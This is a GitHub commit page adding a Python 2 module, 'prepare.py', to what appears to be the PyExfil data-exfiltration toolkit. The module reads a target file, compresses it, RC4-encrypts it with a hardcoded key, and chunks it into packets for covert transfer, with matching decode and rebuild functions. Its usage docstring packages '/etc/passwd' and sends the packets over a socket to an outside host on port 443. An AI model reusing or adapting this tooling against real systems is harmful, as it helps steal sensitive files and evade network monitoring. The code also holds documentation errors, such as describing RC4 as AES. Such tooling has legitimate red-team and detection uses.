Skip to content

Commit 0569d88

Browse files
committed
packet creator tool
1 parent b8f9311 commit 0569d88

File tree

2 files changed

+323
-0
lines changed

2 files changed

+323
-0
lines changed

pyexfil/includes/__init__.py

Whitespace-only changes.

pyexfil/includes/prepare.py

Lines changed: 323 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,323 @@
1+
#!/usr/bin/python
2+
3+
import os
4+
import sys
5+
import zlib
6+
import time
7+
import random
8+
import struct
9+
import base64
10+
import hashlib
11+
12+
from Crypto import Random
13+
from Crypto.Cipher import AES
14+
15+
16+
DEFAULT_KEY = "ShutTheFuckUpDonnie!"
17+
DEFAULT_MAX_PACKET_SIZE = 65000
18+
19+
BINARY_DELIMITER = "\x00\x00\xFF\xFF"
20+
ASCII_DELIMITER = "<AAA\>"
21+
22+
23+
def rc4(data, key):
24+
"""RC4 encryption and decryption method."""
25+
S, j, out = list(range(256)), 0, []
26+
27+
for i in range(256):
28+
j = (j + S[i] + ord(key[i % len(key)])) % 256
29+
S[i], S[j] = S[j], S[i]
30+
31+
i = j = 0
32+
for ch in data:
33+
i = (i + 1) % 256
34+
j = (j + S[i]) % 256
35+
S[i], S[j] = S[j], S[i]
36+
out.append(chr(ord(ch) ^ S[(S[i] + S[j]) % 256]))
37+
38+
return "".join(out)
39+
40+
41+
def _splitString(stri, length):
42+
"""
43+
Split a string to specific blocked chunks
44+
"""
45+
def _f(s, n):
46+
while s:
47+
yield s[:n]
48+
s = s[n:]
49+
if type(length) is not int:
50+
sys.stderr.write("'length' parameter must be an int.\n")
51+
return False
52+
if type(stri) is not str:
53+
sys.stderr.write("'stri' parameter must be an string.\n")
54+
return False
55+
return list(_f(stri, length))
56+
57+
58+
def DecodePacket(packet_data, enc_key=DEFAULT_KEY, b64_flag=False):
59+
"""
60+
Takes a raw packet and tries to decode it.
61+
:param packet_data: raw data of the packet to be decoded.
62+
:param enc_key: key to use for encryption/decryption.
63+
:param b64_flag: set this to True for base64 constraint.
64+
:returns: False or Dictionary object.
65+
"""
66+
ret = {}
67+
68+
# Check if we use encryption or not
69+
if enc_key == "":
70+
encryption = False
71+
else:
72+
encryption = True
73+
74+
if b64_flag:
75+
data = base64.b64decode(packet_data)
76+
else:
77+
data = packet_data
78+
79+
if encryption:
80+
try:
81+
data = rc4(data, enc_key)
82+
except ValueError, e:
83+
sys.stderr.write("Data does not decrypt using the key you've provided.\n")
84+
sys.stderr.write("%s\n" % e)
85+
return False
86+
87+
if b64_flag:
88+
splitData = data.split(ASCII_DELIMITER)
89+
else:
90+
splitData = data.split(BINARY_DELIMITER)
91+
92+
if len(splitData) == 5:
93+
# Init packeta
94+
ret['initFlag'] = True
95+
ret['fileData'] = {}
96+
ret['fileData']['FileName'] = splitData[0]
97+
ret['fileData']['TotalPackets'] = splitData[2]
98+
ret['fileData']['SequenceID'] = splitData[3]
99+
ret['fileData']['MD5'] = splitData[4]
100+
ret['packetNumber'] = splitData[1]
101+
return ret
102+
103+
elif len(splitData) == 3:
104+
# Data packet
105+
ret['initFlag'] = False
106+
ret['packetNumber'] = splitData[1]
107+
ret['SequenceID'] = splitData[0]
108+
ret['Data'] = splitData[2]
109+
return ret
110+
111+
else:
112+
sys.stderr.write("Packet split into %s amount of chunks which i don't know.\n" % len(splitData))
113+
return False
114+
115+
116+
def PrepFile(file_path, kind='binary', max_size=DEFAULT_MAX_PACKET_SIZE, enc_key=DEFAULT_KEY):
117+
'''
118+
PrepFile creats a file ready for sending and return an object.
119+
:param file_path: string, filepath of exfiltration file.
120+
:param kind: string, binary or ascii as for character limitations.
121+
:param max_size: integer, default=6500, max amount of data per packet.
122+
:param enc_key: string, key for AES encryption. if key is empty string,
123+
no encryption will be done. Reduces size of packets.
124+
Default key is 'ShutTheFuckUpDonnie!'
125+
:returns: dictionary with data and 'Packets' as list of packets for
126+
exfiltration sorted by order.
127+
'''
128+
ret = {}
129+
if kind not in ['binary', 'ascii']:
130+
sys.stderr.write("Parameter 'kind' must by binary/ascii.\n")
131+
return False
132+
133+
# Set delimiter based on kind of data we can send
134+
if kind == 'ascii':
135+
delm = ASCII_DELIMITER
136+
else:
137+
delm = BINARY_DELIMITER
138+
139+
# Read the file
140+
try:
141+
f = open(file_path, 'rb')
142+
data = f.read()
143+
f.close()
144+
except IOError, e:
145+
sys.stderr.write("Error opening file '%s'.\n" % file_path )
146+
return False
147+
148+
# Compute hashes and other meta data
149+
hash_raw = hashlib.md5(data).hexdigest()
150+
if enc_key != "":
151+
ret['Key'] = enc_key
152+
ret['EncryptionFlag'] = True
153+
else:
154+
ret['EncryptionFlag'] = False
155+
compData = zlib.compress(data)
156+
hash_compressed = hashlib.md5(compData).hexdigest()
157+
ret['FilePath'] = file_path
158+
ret['ChunksSize'] = max_size
159+
if "/" in file_path:
160+
ll = file_path.split("/")
161+
ret['FileName'] = ll[-1]
162+
elif "\\" in file_path:
163+
ll = file_path.split("\\")
164+
ret['FileName'] = ll[-1]
165+
else:
166+
ret['FileName'] = file_path
167+
ret['RawHash'] = hash_raw
168+
ret['CompressedHash'] = hash_compressed
169+
if kind == 'ascii':
170+
data_for_packets = base64.b64encode(compData)
171+
else:
172+
data_for_packets = compData
173+
174+
ret['CompressedSize'] = len(data_for_packets)
175+
ret['RawSize'] = len(data)
176+
177+
packetsData = _splitString(data_for_packets, max_size)
178+
ret['PacketsCount'] = len(packetsData) + 1
179+
ret['FileSequenceID'] = random.randint(1024,4096)
180+
ret['Packets'] = []
181+
182+
# Start building packets
183+
# Init Packet
184+
ha = hashlib.md5(data_for_packets).hexdigest()
185+
fname = ret['FileName']
186+
pcount = str(len(packetsData) + 1)
187+
thisCounter = "1"
188+
seqID = str(ret['FileSequenceID'])
189+
190+
initPacket = fname + delm + thisCounter + delm
191+
initPacket += pcount + delm + seqID + delm + hash_raw
192+
if enc_key == "":
193+
pass
194+
else:
195+
initPacket = rc4(initPacket, enc_key)
196+
if kind == 'ascii':
197+
initPacket = rc4(initPacket, enc_key)
198+
initPacket = base64.b64encode(initPacket)
199+
200+
ret['Packets'].append(initPacket)
201+
202+
# Every Packet
203+
i = 2
204+
for chunk in packetsData:
205+
thisPacket = seqID + delm + str(i) + delm + chunk
206+
if enc_key != "":
207+
thisPacket = rc4(thisPacket, enc_key)
208+
if kind == 'ascii':
209+
ret['Packets'].append(base64.b64encode(thisPacket))
210+
else:
211+
ret['Packets'].append(thisPacket)
212+
thisPacket = ""
213+
i += 1
214+
215+
return ret
216+
217+
218+
def RebuildFile(packets_data):
219+
"""
220+
RebuildFiles will get list of dictionaries from 'DecodePacket' returns and will
221+
try to unify them into one file with all the data.
222+
:param packets_data: List of 'DecodePacket' outputs.
223+
:returns: Dictionary will file and file metadata
224+
"""
225+
if type(packets_data) != list:
226+
sys.stderr.write("'packets_data' parameter must be list of 'DecodePackets'.\n")
227+
return False
228+
229+
initPacket = None
230+
for pkt in packets_data:
231+
if type(pkt) is not dict:
232+
sys.stderr.write("All elements in list needs to be dict.\n")
233+
return False
234+
if pkt['initFlag'] is True:
235+
initPacket = pkt
236+
if initPacket is None:
237+
sys.stderr.write("No init packet was found.\n")
238+
return False
239+
240+
md5 = initPacket['fileData']['MD5']
241+
seq = int(initPacket['fileData']['SequenceID'])
242+
pkts_count = int(initPacket['fileData']['TotalPackets'])
243+
fname = initPacket['fileData']['FileName']
244+
ret = {}
245+
ret['FileName'] = fname
246+
ret['Packets'] = pkts_count
247+
ret['MD5'] = md5
248+
ret['Sequence'] = seq
249+
ret['Success'] = False
250+
251+
ddddata = ""
252+
for i in range(1, pkts_count+1):
253+
if i == 1:
254+
continue
255+
foundFlag = False
256+
for pkt in packets_data:
257+
try:
258+
if int(pkt['SequenceID']) == seq and int(pkt['packetNumber']) == i:
259+
ddddata += pkt['Data']
260+
foundFlag = True
261+
except:
262+
pass
263+
if foundFlag is False:
264+
sys.stderr.write("Packet %s is missing.\n" % i)
265+
return False
266+
267+
decoded = zlib.decompress(ddddata)
268+
try:
269+
decoded = zlib.decompress(ddddata)
270+
ret['Data'] = decoded
271+
ret['DataLength'] = len(decoded)
272+
summ = hashlib.md5(decoded).hexdigest()
273+
if summ == md5:
274+
ret['Success'] = True
275+
ret['Info'] = "Decoded and hashes matched!"
276+
else:
277+
ret['Success'] = True
278+
ret['Info'] = "Decoded but hashes do not match."
279+
return ret
280+
except:
281+
ret['Data'] = ddddata
282+
ret['DataLength'] = len(ddddata)
283+
ret['Success'] = False
284+
ret['Info'] = "Unable to decode data"
285+
return ret
286+
287+
288+
289+
"""
290+
291+
How to Use:
292+
###########
293+
294+
PrepFile will prepare a file for delivery including packets and structure
295+
with metadata, compression and encryption.
296+
297+
proc = PrepFile('/etc/passwd', kind='binary')
298+
299+
300+
You can then use these packets and send them. For example:
301+
302+
sock = socket.socket()
303+
sock.connect(('google.com', 443))
304+
for i in proc['Packets']:
305+
sock.send(i)
306+
sock.close()
307+
308+
Decoding a single packet will be:
309+
310+
conjoint = []
311+
for packet in proc['Packets']:
312+
b = DecodePacket(packet)
313+
conjoint.append(b)
314+
315+
316+
Joining the decoded packets into one file
317+
print RebuildFile(conjoint)
318+
319+
"""
320+
321+
if __name__ == "__main__":
322+
sys.stderr.write("Not a stand alone module.\n")
323+
sys.exit(1)

0 commit comments

Comments
 (0)